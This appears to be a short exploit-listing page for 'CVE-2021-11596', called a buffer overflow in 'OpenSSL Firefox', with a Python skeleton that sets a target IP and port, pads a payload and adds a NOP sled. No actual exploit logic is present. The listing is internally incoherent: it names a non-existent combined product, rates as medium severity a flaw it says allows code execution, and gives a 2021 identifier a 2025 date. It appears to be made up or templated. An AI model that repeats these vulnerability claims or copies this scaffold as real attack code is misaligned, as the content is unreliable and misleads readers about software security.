Medium Severity
CVE-2021-11596
Published: Jun 24, 2025
This exploit targets a buffer overflow vulnerability in OpenSSL Firefox.
The vulnerability allows an attacker to:
- Execute arbitrary code
- Escalate privileges
- Access sensitive data
- Bypass security controls
Tested on multiple versions of Firefox.
#!/usr/bin/env python3
# OpenSSL Firefox - Buffer Overflow
# Exploit for CVE-2021-11596
import socket
import struct
target = "192.168.1.100"
port = 38836
payload = b"A" * 869
shellcode = b"\x90" * 187
print(f"Exploiting {target}:{port}")
# Exploit implementation would go here